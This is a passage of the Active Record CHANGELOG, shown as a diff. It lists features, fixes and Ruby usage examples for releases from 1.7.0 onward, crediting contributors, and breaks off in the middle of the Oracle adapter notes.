+* Fixed that SQL Server should ignore :size declarations on anything but integer and string in the agnostic schema representation #2756 *Ryan Tomayko*
+
+* Added constrain scoping for creates using a hash of attributes bound to the :creation key [David Heinemeier Hansson]. Example:
+
+ Comment.constrain(:creation => { :post_id => 5 }) do
+ # Associated with :post_id
+ Comment.create :body => "Hello world"
+ end
+
+ This is rarely used directly, but allows for find_or_create on associations. So you can do:
+
+ # If the tag doesn't exist, a new one is created that's associated with the person
+ person.tags.find_or_create_by_name("Summer")
+
+* Added find_or_create_by_X as a second type of dynamic finder that'll create the record if it doesn't already exist [David Heinemeier Hansson]. Example:
+
+ # No 'Summer' tag exists
+ Tag.find_or_create_by_name("Summer") # equal to Tag.create(:name => "Summer")
+
+ # Now the 'Summer' tag does exist
+ Tag.find_or_create_by_name("Summer") # equal to Tag.find_by_name("Summer")
+
+* Added extension capabilities to has_many and has_and_belongs_to_many proxies [David Heinemeier Hansson]. Example:
+
+ class Account < ActiveRecord::Base
+ has_many :people do
+ def find_or_create_by_name(name)
+ first_name, *last_name = name.split
+ last_name = last_name.join " "
+
+ find_or_create_by_first_name_and_last_name(first_name, last_name)
+ end
+ end
+ end
+
+ person = Account.find(:first).people.find_or_create_by_name("David Heinemeier Hansson")
+ person.first_name # => "David"
+ person.last_name # => "Heinemeier Hansson"
+
+ Note that the anoymous module must be declared using brackets, not do/end (due to order of evaluation).
+
+* Omit internal dtproperties table from SQLServer table list. #2729 *Ryan Tomayko*
+
+* Quote column names in generated SQL. #2728 *Ryan Tomayko*
+
+* Correct the pure-Ruby MySQL 4.1.1 shim's version test. #2718 *Jeremy Kemper*
+
+* Add Model.create! to match existing model.save! method. When save! raises RecordInvalid, you can catch the exception, retrieve the invalid record (invalid_exception.record), and see its errors (invalid_exception.record.errors). *Jeremy Kemper*
+
+* Correct fixture behavior when table name pluralization is off. #2719 *Rick Bradley <rick@rickbradley.com>*
+
+* Changed :dbfile to :database for SQLite adapter for consistency (old key still works as an alias) #2644 *Dan Peterson*
+
+* Added migration support for Oracle #2647 *Michael Schoen*
+
+* Worked around that connection can't be reset if allow_concurrency is off. #2648 *Michael Schoen <schoenm@earthlink.net>*
+
+* Fixed SQL Server adapter to pass even more tests and do even better #2634 *Ryan Tomayko*
+
+* Fixed SQL Server adapter so it honors options[:conditions] when applying :limits #1978 *Tom Ward*
+
+* Added migration support to SQL Server adapter (please someone do the same for Oracle and DB2) #2625 *Tom Ward*
+
+* Use AR::Base.silence rather than AR::Base.logger.silence in fixtures to preserve Log4r compatibility. #2618 *dansketcher@gmail.com*
+
+* Constraints are cloned so they can't be inadvertently modified while they're
+ in effect. Added :readonly finder constraint. Calling an association collection's class method (Part.foobar via item.parts.foobar) constrains :readonly => false since the collection's :joins constraint would otherwise force it to true. [Jeremy Kemper <rails@bitsweat.net>]
+* Added :offset and :limit to the kinds of options that Base.constrain can use #2466 *duane.johnson@gmail.com*
+
+* Fixed handling of nil number columns on Oracle and cleaned up tests for Oracle in general #2555 *Michael Schoen*
+
+* Added quoted_true and quoted_false methods and tables to db2_adapter and cleaned up tests for DB2 #2493, #2624 *maik schmidt*
+
+
+## 1.12.2 (October 26th, 2005) ##
+
+* Allow symbols to rename columns when using SQLite adapter. #2531 *Kevin Clark*
+
+* Map Active Record time to SQL TIME. #2575, #2576 *Robby Russell <robby@planetargon.com>*
+
+* Clarify semantics of ActiveRecord::Base#respond_to? #2560 *Stefan Kaes*
+
+* Fixed Association#clear for associations which have not yet been accessed. #2524 *Patrick Lenz <patrick@lenz.sh>*
+
+* HABTM finders shouldn't return readonly records. #2525 *Patrick Lenz <patrick@lenz.sh>*
+
+* Make all tests runnable on their own. #2521. *Blair Zajac <blair@orcaware.com>*
+
+
+## 1.12.1 (October 19th, 2005) ##
+
+* Always parenthesize :conditions options so they may be safely combined with STI and constraints.
+
+* Correct PostgreSQL primary key sequence detection. #2507 *tmornini@infomania.com*
+
+* Added support for using limits in eager loads that involve has_many and has_and_belongs_to_many associations
+
+
+## 1.12.0 (October 16th, 2005) ##
+
+* Update/clean up documentation (rdoc)
+
+* PostgreSQL sequence support. Use set_sequence_name in your model class to specify its primary key sequence. #2292 *Rick Olson <technoweenie@gmail.com>, Robby Russell <robby@planetargon.com>*
+
+* Change default logging colors to work on both white and black backgrounds. *Sam Stephenson*
+
+* YAML fixtures support ordered hashes for fixtures with foreign key dependencies in the same table. #1896 *purestorm@ggnore.net*
+
+* :dependent now accepts :nullify option. Sets the foreign key of the related objects to NULL instead of deleting them. #2015 *Robby Russell <robby@planetargon.com>*
+
+* Introduce read-only records. If you call object.readonly! then it will mark the object as read-only and raise ReadOnlyRecord if you call object.save. object.readonly? reports whether the object is read-only. Passing :readonly => true to any finder method will mark returned records as read-only. The :joins option now implies :readonly, so if you use this option, saving the same record will now fail. Use find_by_sql to work around.
+
+* Avoid memleak in dev mode when using fcgi
+
+* Simplified .clear on active record associations by using the existing delete_records method. #1906 *Caleb <me@cpb.ca>*
+
+* Delegate access to a customized primary key to the conventional id method. #2444. *Blair Zajac <blair@orcaware.com>*
+
+* Fix errors caused by assigning a has-one or belongs-to property to itself
+
+* Add ActiveRecord::Base.schema_format setting which specifies how databases should be dumped *Sam Stephenson*
+
+* Update DB2 adapter. #2206. *contact@maik-schmidt.de*
+
+* Corrections to SQLServer native data types. #2267. *rails.20.clarry@spamgourmet.com*
+
+* Deprecated ActiveRecord::Base.threaded_connection in favor of ActiveRecord::Base.allow_concurrency.
+
+* Protect id attribute from mass assigment even when the primary key is set to something else. #2438. *Blair Zajac <blair@orcaware.com>*
+
+* Misc doc fixes (typos/grammar/etc.). #2430. *coffee2code*
+
+* Add test coverage for content_columns. #2432. *coffee2code*
+
+* Speed up for unthreaded environments. #2431. *Stefan Kaes*
+
+* Optimization for Mysql selects using mysql-ruby extension greater than 2.6.3. #2426. *Stefan Kaes*
+
+* Speed up the setting of table_name. #2428. *Stefan Kaes*
+
+* Optimize instantiation of STI subclass records. In partial fullfilment of #1236. *Stefan Kaes*
+
+* Fix typo of 'constrains' to 'contraints'. #2069. *Michael Schuerig <michael@schuerig.de>*
+
+* Optimization refactoring for add_limit_offset!. In partial fullfilment of #1236. *Stefan Kaes*
+
+* Add ability to get all siblings, including the current child, with acts_as_tree. Recloses #2140. *Michael Schuerig <michael@schuerig.de>*
+
+* Add geometric type for postgresql adapter. #2233 *Andrew Kaspick*
+
+* Add option (true by default) to generate reader methods for each attribute of a record to avoid the overhead of calling method missing. In partial fullfilment of #1236. *Stefan Kaes*
+
+* Add convenience predicate methods on Column class. In partial fullfilment of #1236. *Stefan Kaes*
+
+* Raise errors when invalid hash keys are passed to ActiveRecord::Base.find. #2363 *Chad Fowler <chad@chadfowler.com>, Nicholas Seckar*
+
+* Added :force option to create_table that'll try to drop the table if it already exists before creating
+
+* Fix transactions so that calling return while inside a transaction will not leave an open transaction on the connection. *Nicholas Seckar*
+
+* Use foreign_key inflection uniformly. #2156 *Blair Zajac <blair@orcaware.com>*
+
+* model.association.clear should destroy associated objects if :dependent => true instead of nullifying their foreign keys. #2221 *joergd@pobox.com, ObieFernandez <obiefernandez@gmail.com>*
+
+* Returning false from before_destroy should cancel the action. #1829 *Jeremy Huffman*
+
+* Recognize PostgreSQL NOW() default as equivalent to CURRENT_TIMESTAMP or CURRENT_DATE, depending on the column's type. #2256 *mat <mat@absolight.fr>*
+
+* Extensive documentation for the abstract database adapter. #2250 *François Beausoleil <fbeausoleil@ftml.net>*
+
+* Clean up Fixtures.reset_sequences for PostgreSQL. Handle tables with no rows and models with custom primary keys. #2174, #2183 *jay@jay.fm, Blair Zajac <blair@orcaware.com>*
+
+* Improve error message when nil is assigned to an attr which validates_size_of within a range. #2022 *Manuel Holtgrewe <purestorm@ggnore.net>*
+
+* Make update_attribute use the same writer method that update_attributes uses.
+ \#2237 [trevor@protocool.com]
+* Make migrations honor table name prefixes and suffixes. #2298 *Jakob Skjerning, Marcel Molina Jr.*
+
+* Correct and optimize PostgreSQL bytea escaping. #1745, #1837 *dave@cherryville.org, ken@miriamtech.com, bellis@deepthought.org*
+
+* Fixtures should only reset a PostgreSQL sequence if it corresponds to an integer primary key named id. #1749 *chris@chrisbrinker.com*
+
+* Standardize the interpretation of boolean columns in the Mysql and Sqlite adapters. (Use MysqlAdapter.emulate_booleans = false to disable this behavior)
+
+* Added new symbol-driven approach to activating observers with Base#observers= [David Heinemeier Hansson]. Example:
+
+ ActiveRecord::Base.observers = :cacher, :garbage_collector
+
+* Added AbstractAdapter#select_value and AbstractAdapter#select_values as convenience methods for selecting single values, instead of hashes, of the first column in a SELECT #2283 *solo@gatelys.com*
+
+* Wrap :conditions in parentheses to prevent problems with OR's #1871 *Jamis Buck*
+
+* Allow the postgresql adapter to work with the SchemaDumper. *Jamis Buck*
+
+* Add ActiveRecord::SchemaDumper for dumping a DB schema to a pure-ruby file, making it easier to consolidate large migration lists and port database schemas between databases. *Jamis Buck*
+
+* Fixed migrations for Windows when using more than 10 *David Naseby*
+
+* Fixed that the create_x method from belongs_to wouldn't save the association properly #2042 *Florian Weber*
+
+* Fixed saving a record with two unsaved belongs_to associations pointing to the same object #2023 *Tobias Lütke*
+
+* Improved migrations' behavior when the schema_info table is empty. *Nicholas Seckar*
+
+* Fixed that Observers didn't observe sub-classes #627 *Florian Weber*
+
+* Fix eager loading error messages, allow :include to specify tables using strings or symbols. Closes #2222 *Marcel Molina Jr.*
+
+* Added check for RAILS_CONNECTION_ADAPTERS on startup and only load the connection adapters specified within if its present (available in Rails through config.connection_adapters using the new config) #1958 *skae*
+
+* Fixed various problems with has_and_belongs_to_many when using customer finder_sql #2094 *Florian Weber*
+
+* Added better exception error when unknown column types are used with migrations #1814 *François Beausoleil*
+
+* Fixed "connection lost" issue with the bundled Ruby/MySQL driver (would kill the app after 8 hours of inactivity) #2163, #428 *kajism@yahoo.com*
+
+* Fixed comparison of Active Record objects so two new objects are not equal #2099 *deberg*
+
+* Fixed that the SQL Server adapter would sometimes return DBI::Timestamp objects instead of Time #2127 *Tom Ward*
+
+* Added the instance methods #root and #ancestors on acts_as_tree and fixed siblings to not include the current node #2142, #2140 *coffee2code*
+
+* Fixed that Active Record would call SHOW FIELDS twice (or more) for the same model when the cached results were available #1947 *sd@notso.net*
+
+* Added log_level and use_silence parameter to ActiveRecord::Base.benchmark. The first controls at what level the benchmark statement will be logged (now as debug, instead of info) and the second that can be passed false to include all logging statements during the benchmark block/
+
+* Make sure the schema_info table is created before querying the current version #1903
+
+* Fixtures ignore table name prefix and suffix #1987 *Jakob Skjerning*
+
+* Add documentation for index_type argument to add_index method for migrations #2005 *Blaine*
+
+* Modify read_attribute to allow a symbol argument #2024 *Ken Kunz*
+
+* Make destroy return self #1913 *Sebastian Kanthak*
+
+* Fix typo in validations documentation #1938 *court3nay*
+
+* Make acts_as_list work for insert_at(1) #1966 *hensleyl@papermountain.org*
+
+* Fix typo in count_by_sql documentation #1969 *Alexey Verkhovsky*
+
+* Allow add_column and create_table to specify NOT NULL #1712 *emptysands@gmail.com*
+
+* Fix create_table so that id column is implicitly added *Rick Olson*
+
+* Default sequence names for Oracle changed to #{table_name}_seq, which is the most commonly used standard. In addition, a new method ActiveRecord::Base#set_sequence_name allows the developer to set the sequence name per model. This is a non-backwards-compatible change -- anyone using the old-style "rails_sequence" will need to either create new sequences, or set: ActiveRecord::Base.set_sequence_name = "rails_sequence" #1798
+
+* OCIAdapter now properly handles synonyms, which are commonly used to separate out the schema owner from the application user #1798
+
+* Fixed the handling of camelCase columns names in Oracle #1798
+
+* Implemented for OCI the Rakefile tasks of :clone_structure_to_test, :db_structure_dump, and :purge_test_database, which enable Oracle folks to enjoy all the agile goodness of Rails for testing. Note that the current implementation is fairly limited -- only tables and sequences are cloned, not constraints or indexes. A full clone in Oracle generally requires some manual effort, and is version-specific. Post 9i, Oracle recommends the use of the DBMS_METADATA package, though that approach requires editing of the physical characteristics generated #1798
+
+* Fixed the handling of multiple blob columns in Oracle if one or more of them are null #1798
+
+* Added support for calling constrained class methods on has_many and has_and_belongs_to_many collections #1764 *Tobias Lütke*
+
+ class Comment < AR:B
+ def self.search(q)
+ find(:all, :conditions => ["body = ?", q])
+ end
+ end
+
+ class Post < AR:B
+ has_many :comments
+ end
+
+ Post.find(1).comments.search('hi') # => SELECT * from comments WHERE post_id = 1 AND body = 'hi'
+
+ NOTICE: This patch changes the underlying SQL generated by has_and_belongs_to_many queries. If your relying on that, such as
+ by explicitly referencing the old t and j aliases, you'll need to update your code. Of course, you _shouldn't_ be relying on
+ details like that no less than you should be diving in to touch private variables. But just in case you do, consider yourself
+ noticed :)
+
+* Added migration support for SQLite (using temporary tables to simulate ALTER TABLE) #1771 *Sam Stephenson*
+
+* Remove extra definition of supports_migrations? from abstract_adaptor.rb *Nicholas Seckar*
+
+* Fix acts_as_list so that moving next-to-last item to the bottom does not result in duplicate item positions
+
+* Fixed incompatibility in DB2 adapter with the new limit/offset approach #1718 *Maik Schmidt*
+
+* Added :select option to find which can specify a different value than the default *, like find(:all, :select => "first_name, last_name"), if you either only want to select part of the columns or exclude columns otherwise included from a join #1338 *Stefan Kaes*
+
+
+## 1.11.1 (11 July, 2005) ##
+
+* Added support for limit and offset with eager loading of has_one and belongs_to associations. Using the options with has_many and has_and_belongs_to_many associations will now raise an ActiveRecord::ConfigurationError #1692 *Rick Olson*
+
+* Fixed that assume_bottom_position (in acts_as_list) could be called on items already last in the list and they would move one position away from the list #1648 *tyler@kianta.com*
+
+* Added ActiveRecord::Base.threaded_connections flag to turn off 1-connection per thread (required for thread safety). By default it's on, but WEBrick in Rails need it off #1685 *Sam Stephenson*
+
+* Correct reflected table name for singular associations. #1688 *court3nay*
+
+* Fixed optimistic locking with SQL Server #1660 *tom@popdog.net*
+
+* Added ActiveRecord::Migrator.migrate that can figure out whether to go up or down based on the target version and the current
+
+* Added better error message for "packets out of order" #1630 *court3nay*
+
+* Fixed first run of "rake migrate" on PostgreSQL by not expecting a return value on the id #1640
+
+
+## 1.11.0 (6 July, 2005) ##
+
+* Fixed that Yaml error message in fixtures hid the real error #1623 *Nicholas Seckar*
+
+* Changed logging of SQL statements to use the DEBUG level instead of INFO
+
+* Added new Migrations framework for describing schema transformations in a way that can be easily applied across multiple databases #1604 [Tobias Lütke] See documentation under ActiveRecord::Migration and the additional support in the Rails rakefile/generator.
+
+* Added callback hooks to association collections #1549 [Florian Weber]. Example:
+
+ class Project
+ has_and_belongs_to_many :developers, :before_add => :evaluate_velocity
+
+ def evaluate_velocity(developer)
+ ...
+ end
+ end
+
+ ..raising an exception will cause the object not to be added (or removed, with before_remove).
+
+
+* Fixed Base.content_columns call for SQL Server adapter #1450 *DeLynn Berry*
+
+* Fixed Base#write_attribute to work with both symbols and strings #1190 *Paul Legato*
+
+* Fixed that has_and_belongs_to_many didn't respect single table inheritance types #1081 *Florian Weber*
+
+* Speed up ActiveRecord#method_missing for the common case (read_attribute).
+
+* Only notify observers on after_find and after_initialize if these methods are defined on the model. #1235 *Stefan Kaes*
+
+* Fixed that single-table inheritance sub-classes couldn't be used to limit the result set with eager loading #1215 *Chris McGrath*
+
+* Fixed validates_numericality_of to work with overrided getter-method when :allow_nil is on #1316 *raidel@onemail.at*
+
+* Added roots, root, and siblings to the batch of methods added by acts_as_tree #1541 *Michael Schuerig*
+
+* Added support for limit/offset with the MS SQL Server driver so that pagination will now work #1569 *DeLynn Berry*
+
+* Added support for ODBC connections to MS SQL Server so you can connect from a non-Windows machine #1569 *Mark Imbriaco/DeLynn Berry*
+
+* Fixed that multiparameter posts ignored attr_protected #1532 *alec+rails@veryclever.net*
+
+* Fixed problem with eager loading when using a has_and_belongs_to_many association using :association_foreign_key #1504 *flash@vanklinkenbergsoftware.nl*
+
+* Fixed Base#find to honor the documentation on how :joins work and make them consistent with Base#count #1405 [pritchie@gmail.com]. What used to be:
+
+ Developer.find :all, :joins => 'developers_projects', :conditions => 'id=developer_id AND project_id=1'
+
+ ...should instead be:
+
+ Developer.find(
+ :all,
+ :joins => 'LEFT JOIN developers_projects ON developers.id = developers_projects.developer_id',
+ :conditions => 'project_id=1'
+ )
+
+* Fixed that validations didn't respecting custom setting for too_short, too_long messages #1437 *Marcel Molina Jr.*
+
+* Fixed that clear_association_cache doesn't delete new associations on new records (so you can safely place new records in the session with Action Pack without having new associations wiped) #1494 *cluon*
+
+* Fixed that calling Model.find([]) returns [] and doesn't throw an exception #1379
+
+* Fixed that adding a record to a has_and_belongs_to collection would always save it -- now it only saves if its a new record #1203 *Alisdair McDiarmid*
+
+* Fixed saving of in-memory association structures to happen as a after_create/after_update callback instead of after_save -- that way you can add new associations in after_create/after_update callbacks without getting them saved twice
+
+* Allow any Enumerable, not just Array, to work as bind variables #1344 *Jeremy Kemper*
+
+* Added actual database-changing behavior to collection assigment for has_many and has_and_belongs_to_many #1425 [Sebastian Kanthak].
+ Example:
+
+ david.projects = [Project.find(1), Project.new("name" => "ActionWebSearch")]
+ david.save
+
+ If david.projects already contain the project with ID 1, this is left unchanged. Any other projects are dropped. And the new
+ project is saved when david.save is called.
+
+ Also included is a way to do assignments through IDs, which is perfect for checkbox updating, so you get to do:
+
+ david.project_ids = [1, 5, 7]
+
+* Corrected typo in find SQL for has_and_belongs_to_many. #1312 *ben@bensinclair.com*
+
+* Fixed sanitized conditions for has_many finder method. #1281 *jackc@hylesanderson.com, pragdave, Tobias Lütke*
+
+* Comprehensive PostgreSQL schema support. Use the optional schema_search_path directive in database.yml to give a comma-separated list of schemas to search for your tables. This allows you, for example, to have tables in a shared schema without having to use a custom table name. See http://www.postgresql.org/docs/8.0/interactive/ddl-schemas.html to learn more. #827 *dave@cherryville.org*
+
+* Corrected @@configurations typo #1410 *david@ruppconsulting.com*
+
+* Return PostgreSQL columns in the order they were declared #1374 *perlguy@gmail.com*
+
+* Allow before/after update hooks to work on models using optimistic locking
+
+* Eager loading of dependent has_one associations won't delete the association #1212
+
+* Added a second parameter to the build and create method for has_one that controls whether the existing association should be replaced (which means nullifying its foreign key as well). By default this is true, but false can be passed to prevent it.
+
+* Using transactional fixtures now causes the data to be loaded only once.
+
+* Added fixture accessor methods that can be used when instantiated fixtures are disabled.
+
+ fixtures :web_sites
+
+ def test_something
+ assert_equal "Ruby on Rails", web_sites(:rubyonrails).name
+ end
+
+* Added DoubleRenderError exception that'll be raised if render* is called twice #518 *Nicholas Seckar*
+
+* Fixed exceptions occuring after render has been called #1096 *Nicholas Seckar*
+
+* CHANGED: validates_presence_of now uses Errors#add_on_blank, which will make " " fail the validation where it didn't before #1309
+
+* Added Errors#add_on_blank which works like Errors#add_on_empty, but uses Object#blank? instead
+
+* Added the :if option to all validations that can either use a block or a method pointer to determine whether the validation should be run or not. #1324 [Duane Johnson/jhosteny]. Examples:
+
+ Conditional validations such as the following are made possible:
+ validates_numericality_of :income, :if => :employed?
+
+ Conditional validations can also solve the salted login generator problem:
+ validates_confirmation_of :password, :if => :new_password?
+
+ Using blocks:
+ validates_presence_of :username, :if => Proc.new { |user| user.signup_step > 1 }
+
+* Fixed use of construct_finder_sql when using :join #1288 *dwlt@dwlt.net*
+
+* Fixed that :delete_sql in has_and_belongs_to_many associations couldn't access record properties #1299 *Rick Olson*
+
+* Fixed that clone would break when an aggregate had the same name as one of its attributes #1307 *Jeremy Kemper*
+
+* Changed that destroying an object will only freeze the attributes hash, which keeps the object from having attributes changed (as that wouldn't make sense), but allows for the querying of associations after it has been destroyed.
+
+* Changed the callbacks such that observers are notified before the in-object callbacks are triggered. Without this change, it wasn't possible to act on the whole object in something like a before_destroy observer without having the objects own callbacks (like deleting associations) called first.
+
+* Added option for passing an array to the find_all version of the dynamic finders and have it evaluated as an IN fragment. Example:
+
+ # SELECT * FROM topics WHERE title IN ('First', 'Second')
+ Topic.find_all_by_title(["First", "Second"])
+
+* Added compatibility with camelCase column names for dynamic finders #533 *Dee Zsombor*
+
+* Fixed extraneous comma in count() function that made it not work with joins #1156 *Jarkko Laine/Dee Zsombor*
+
+* Fixed incompatibility with Base#find with an array of ids that would fail when using eager loading #1186 *Alisdair McDiarmid*
+
+* Fixed that validate_length_of lost :on option when :within was specified #1195 *jhosteny@mac.com*
+
+* Added encoding and min_messages options for PostgreSQL #1205 [Shugo Maeda]. Configuration example:
+
+ development:
+ adapter: postgresql
+ database: rails_development
+ host: localhost
+ username: postgres
+ password:
+ encoding: UTF8
+ min_messages: ERROR
+
+* Fixed acts_as_list where deleting an item that was removed from the list would ruin the positioning of other list items #1197 *Jamis Buck*
+
+* Added validates_exclusion_of as a negative of validates_inclusion_of
+
+* Optimized counting of has_many associations by setting the association to empty if the count is 0 so repeated calls doesn't trigger database calls
+
+
+## 1.10.1 (20th April, 2005) ##
+
+* Fixed frivilous database queries being triggered with eager loading on empty associations and other things
+
+* Fixed order of loading in eager associations
+
+* Fixed stray comma when using eager loading and ordering together from has_many associations #1143
+
+
+## 1.10.0 (19th April, 2005) ##
+
+* Added eager loading of associations as a way to solve the N+1 problem more gracefully without piggy-back queries. Example:
+
+ for post in Post.find(:all, :limit => 100)
+ puts "Post: " + post.title
+ puts "Written by: " + post.author.name
+ puts "Last comment on: " + post.comments.first.created_on
+ end
+
+ This used to generate 301 database queries if all 100 posts had both author and comments. It can now be written as:
+
+ for post in Post.find(:all, :limit => 100, :include => [ :author, :comments ])
+
+ ...and the number of database queries needed is now 1.
+
+* Added new unified Base.find API and deprecated the use of find_first and find_all. See the documentation for Base.find. Examples:
+
+ Person.find(1, :conditions => "administrator = 1", :order => "created_on DESC")
+ Person.find(1, 5, 6, :conditions => "administrator = 1", :order => "created_on DESC")
+ Person.find(:first, :order => "created_on DESC", :offset => 5)
+ Person.find(:all, :conditions => [ "category IN (?)", categories], :limit => 50)
+ Person.find(:all, :offset => 10, :limit => 10)
+
+* Added acts_as_nested_set #1000 [wschenk]. Introduction:
+
+ This acts provides Nested Set functionality. Nested Set is similiar to Tree, but with
+ the added feature that you can select the children and all of it's descendants with
+ a single query. A good use case for this is a threaded post system, where you want
+ to display every reply to a comment without multiple selects.
+
+* Added Base.save! that attempts to save the record just like Base.save but will raise a RecordInvalid exception instead of returning false if the record is not valid *Dave Thomas*
+
+* Fixed PostgreSQL usage of fixtures with regards to public schemas and table names with dots #962 *gnuman1@gmail.com*
+
+* Fixed that fixtures were being deleted in the same order as inserts causing FK errors #890 *andrew.john.peters@gmail.com*
+
+* Fixed loading of fixtures in to be in the right order (or PostgreSQL would bark) #1047 *stephenh@chase3000.com*
+
+* Fixed page caching for non-vhost applications living underneath the root #1004 *Ben Schumacher*
+
+* Fixes a problem with the SQL Adapter which was resulting in IDENTITY_INSERT not being set to ON when it should be #1104 *adelle*
+
+* Added the option to specify the acceptance string in validates_acceptance_of #1106 *caleb@aei-tech.com*
+
+* Added insert_at(position) to acts_as_list #1083 *DeLynnB*
+
+* Removed the default order by id on has_and_belongs_to_many queries as it could kill performance on large sets (you can still specify by hand with :order)
+
+* Fixed that Base.silence should restore the old logger level when done, not just set it to DEBUG #1084 *yon@milliped.com*
+
+* Fixed boolean saving on Oracle #1093 *mparrish@pearware.org*
+
+* Moved build_association and create_association for has_one and belongs_to out of deprecation as they work when the association is nil unlike association.build and association.create, which require the association to be already in place #864
+
+* Added rollbacks of transactions if they're active as the dispatcher is killed gracefully (TERM signal) #1054 *Leon Bredt*
+
+* Added quoting of column names for fixtures #997 *jcfischer@gmail.com*
+
+* Fixed counter_sql when no records exist in database for PostgreSQL (would give error, not 0) #1039 *Caleb Tennis*
+
+* Fixed that benchmarking times for rendering included db runtimes #987 *Stefan Kaes*
+
+* Fixed boolean queries for t/f fields in PostgreSQL #995 *dave@cherryville.org*
+
+* Added that model.items.delete(child) will delete the child, not just set the foreign key to nil, if the child is dependent on the model #978 *Jeremy Kemper*
+
+* Fixed auto-stamping of dates (created_on/updated_on) for PostgreSQL #985 *dave@cherryville.org*
+
+* Fixed Base.silence/benchmark to only log if a logger has been configured #986 *Stefan Kaes*
+
+* Added a join parameter as the third argument to Base.find_first and as the second to Base.count #426, #988 *Stefan Kaes*
+
+* Fixed bug in Base#hash method that would treat records with the same string-based id as different *Dave Thomas*
+
+* Renamed DateHelper#distance_of_time_in_words_to_now to DateHelper#time_ago_in_words (old method name is still available as a deprecated alias)
+
+
+## 1.9.1 (27th March, 2005) ##
+
+* Fixed that Active Record objects with float attribute could not be cloned #808
+
+* Fixed that MissingSourceFile's wasn't properly detected in production mode #925 *Nicholas Seckar*
+
+* Fixed that :counter_cache option would look for a line_items_count column for a LineItem object instead of lineitems_count
+
+* Fixed that AR exists?() would explode on postgresql if the passed id did not match the PK type #900 *Scott Barron*
+
+* Fixed the MS SQL adapter to work with the new limit/offset approach and with binary data (still suffering from 7KB limit, though) #901 *delynnb*
+
+
+## 1.9.0 (22th March, 2005) ##
+
+* Added adapter independent limit clause as a two-element array with the first being the limit, the second being the offset #795 [Sam Stephenson]. Example:
+
+ Developer.find_all nil, 'id ASC', 5 # return the first five developers
+ Developer.find_all nil, 'id ASC', [3, 8] # return three developers, starting from #8 and forward
+
+ This doesn't yet work with the DB2 or MS SQL adapters. Patches to make that happen are encouraged.
+
+* Added alias_method :to_param, :id to Base, such that Active Record objects to be used as URL parameters in Action Pack automatically #812 *Nicholas Seckar/Sam Stephenson*
+
+* Improved the performance of the OCI8 adapter for Oracle #723 *pilx/gjenkins*
+
+* Added type conversion before saving a record, so string-based values like "10.0" aren't left for the database to convert #820 *dave@cherryville.org*
+
+* Added with additional settings for working with transactional fixtures and pre-loaded test databases #865 *mindel*
+
+* Fixed acts_as_list to trigger remove_from_list on destroy after the fact, not before, so a unique position can be maintained #871 *Alisdair McDiarmid*
+
+* Added the possibility of specifying fixtures in multiple calls #816 *kim@tinker.com*
+
+* Added Base.exists?(id) that'll return true if an object of the class with the given id exists #854 *stian@grytoyr.net*
+
+* Added optionally allow for nil or empty strings with validates_numericality_of #801 *Sebastian Kanthak*
+
+* Fixed problem with using slashes in validates_format_of regular expressions #801 *Sebastian Kanthak*
+
+* Fixed that SQLite3 exceptions are caught and reported properly #823 *yerejm*
+
+* Added that all types of after_find/after_initialized callbacks are triggered if the explicit implementation is present, not only the explicit implementation itself
+
+* Fixed that symbols can be used on attribute assignment, like page.emails.create(:subject => data.subject, :body => data.body)
+
+
+## 1.8.0 (7th March, 2005) ##
+
+* Added ActiveRecord::Base.colorize_logging to control whether to use colors in logs or not (on by default)
+
+* Added support for timestamp with time zone in PostgreSQL #560 *Scott Barron*
+
+* Added MultiparameterAssignmentErrors and AttributeAssignmentError exceptions #777 [demetrius]. Documentation:
+
+ * +MultiparameterAssignmentErrors+ -- collection of errors that occurred during a mass assignment using the
+ +attributes=+ method. The +errors+ property of this exception contains an array of +AttributeAssignmentError+
+ objects that should be inspected to determine which attributes triggered the errors.
+ * +AttributeAssignmentError+ -- an error occurred while doing a mass assignment through the +attributes=+ method.
+ You can inspect the +attribute+ property of the exception object to determine which attribute triggered the error.
+
+* Fixed that postgresql adapter would fails when reading bytea fields with null value #771 *rodrigo k*
+
+* Added transactional fixtures that uses rollback to undo changes to fixtures instead of DELETE/INSERT -- it's much faster. See documentation under Fixtures #760 *Jeremy Kemper*
+
+* Added destruction of dependent objects in has_one associations when a new assignment happens #742 [mindel]. Example:
+
+ class Account < ActiveRecord::Base
+ has_one :credit_card, :dependent => true
+ end
+ class CreditCard < ActiveRecord::Base
+ belongs_to :account
+ end
+
+ account.credit_card # => returns existing credit card, lets say id = 12
+ account.credit_card = CreditCard.create("number" => "123")
+ account.save # => CC with id = 12 is destroyed
+
+
+* Added validates_numericality_of #716 [Sebastian Kanthak/Chris McGrath]. Docuemntation:
+
+ Validates whether the value of the specified attribute is numeric by trying to convert it to
+ a float with Kernel.Float (if <tt>integer</tt> is false) or applying it to the regular expression
+ <tt>/^[\+\-]?\d+$/</tt> (if <tt>integer</tt> is set to true).
+
+ class Person < ActiveRecord::Base
+ validates_numericality_of :value, :on => :create
+ end
+
+ Configuration options:
+ * <tt>message</tt> - A custom error message (default is: "is not a number")
+ * <tt>on</tt> Specifies when this validation is active (default is :save, other options :create, :update)
+ * <tt>only_integer</tt> Specifies whether the value has to be an integer, e.g. an integral value (default is false)
+
+
+* Fixed that HasManyAssociation#count was using :finder_sql rather than :counter_sql if it was available #445 *Scott Barron*
+
+* Added better defaults for composed_of, so statements like composed_of :time_zone, :mapping => %w( time_zone time_zone ) can be written without the mapping part (it's now assumed)
+
+* Added MacroReflection#macro which will return a symbol describing the macro used (like :composed_of or :has_many) #718, #248 *james@slashetc.com*
+
+
+## 1.7.0 (24th February, 2005) ##
+
+* Changed the auto-timestamping feature to use ActiveRecord::Base.default_timezone instead of entertaining the parallel ActiveRecord::Base.timestamps_gmt method. The latter is now deprecated and will throw a warning on use (but still work) #710 *Jamis Buck*
+
+* Added a OCI8-based Oracle adapter that has been verified to work with Oracle 8 and 9 #629 [Graham Jenkins]. Usage notes:
+
+ 1. Key generation uses a sequence "rails_sequence" for all tables. (I couldn't find a simple
+ and safe way of passing table-specific sequence information to the adapter.)
+ 2. Oracle uses DATE or TIMESTAMP datatypes for both dates and times. Consequently I have had to
+ resort to some hacks to get data converted to Date or Time in Ruby.
+ If the column_name ends in _at (like created_at, updated_at) it's created as a Ruby Time. Else if the
+ hours/minutes/seconds are 0, I make it a Ruby Date. Else it's a Ruby Time.
+ This is nasty - but if you use Duck Typing you'll probably not care very much.
+ In 9i it's tempting to map DATE to Date and TIMESTAMP to Time but I don't think that is
+ valid - too many databases use DATE for both.
+ Timezones and sub-second precision on timestamps are not supported.
+ 3. Default values that are functions (such as "SYSDATE") are not supported. This is a
+ restriction of the way active record supports default values.
+ 4. Referential integrity constraints are not fully supported. Under at least
